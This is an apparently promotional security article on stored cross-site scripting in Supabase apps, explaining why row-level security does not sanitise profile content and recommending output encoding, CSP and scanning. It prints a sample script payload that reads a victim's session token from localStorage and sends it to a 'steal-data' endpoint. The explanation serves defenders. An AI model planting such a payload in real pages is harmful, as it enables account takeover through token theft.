8 Devastating Cross Site Scripting Attacks Examples

[✨ Megiddo]

1. Stored XSS via User Profile Input: The Supabase RLS Bypass​

Stored Cross-Site Scripting (XSS) attacks, also known as persistent XSS, represent a significant threat because the malicious script is saved directly on the target server. This makes it a potent cross site scripting attacks example as the payload is served to every user who views the contaminated page, often without any further interaction required from the attacker.

In modern applications built with platforms like Supabase, this vulnerability frequently appears in user-generated content sections, such as a profile biography or a forum post. The core issue arises when developers trust server-side security mechanisms like Row Level Security (RLS) to do more than they are designed for. RLS is excellent at controlling who can read or write data, but it does not inspect or sanitise the content of that data.

Attack Analysis and Payload​

An attacker can exploit this by injecting a malicious script into a field they are permitted to edit, like their own user profile.

• Vulnerable Field: A user's biography text area.
• RLS Policy: (auth.uid() = user_id) - This common policy allows users to update their own profile, which is correct from an access control perspective.
• Malicious Payload: <script>fetch('/api/steal-data?token='+localStorage.getItem('sb-token'))</script>

When another user, such as an administrator or a fellow community member, views the attacker's profile, the application fetches the biography from the database. If the frontend renders this data directly into the HTML without sanitisation, the script executes in the victim's browser. It silently grabs their authentication token from localStorage and sends it to an attacker-controlled endpoint.

Key Insight: The security failure here is not in Supabase's RLS, but in the frontend's failure to treat all user-supplied data as untrusted. RLS prevents a user from writing to another user's profile, but it cannot prevent them from writing a malicious script into their own.

Remediation and Testing​

Defending against this attack requires a client-side or server-side rendering approach that neutralises malicious code before it reaches the browser.

1. Output Encoding: The most effective defence is to correctly encode all dynamic data before rendering it. For instance, convert characters like < and > into their HTML entity equivalents (&lt; and &gt😉. This ensures the browser displays the script as plain text instead of executing it.
2. Content Security Policy (CSP): Implement a strict CSP to restrict which domains scripts can be loaded from, significantly reducing the impact of any injected code.
3. Automated Scanning: Use security scanners like AuditYour.App to proactively test RLS policies. Its fuzzing capabilities can check if write-access policies are overly permissive and identify fields where an attacker could inject a persistent payload, catching these architectural blind spots before they are exploited.